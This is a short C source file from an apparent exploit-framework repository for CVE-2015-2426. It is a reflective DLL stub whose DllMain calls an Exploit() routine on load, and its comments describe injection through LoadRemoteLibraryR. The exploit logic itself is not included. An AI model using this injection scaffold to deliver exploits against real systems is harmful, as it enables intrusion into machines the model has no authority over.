Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c
19670 views
//===============================================================================================//1// This is a stub for the actuall functionality of the DLL.2//===============================================================================================//3#include "ReflectiveLoader.h"45// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are6// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own7// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.89// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)10extern HINSTANCE hAppInstance;11//===============================================================================================//1213#include "Exploit.h"1415BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )16{17BOOL bReturnValue = TRUE;18switch( dwReason )19{20case DLL_QUERY_HMODULE:21if( lpReserved != NULL )22*(HMODULE *)lpReserved = hAppInstance;23break;24case DLL_PROCESS_ATTACH:25hAppInstance = hinstDLL;26Exploit(lpReserved);27break;28case DLL_PROCESS_DETACH:29case DLL_THREAD_ATTACH:30case DLL_THREAD_DETACH:31break;32}33return bReturnValue;34}3536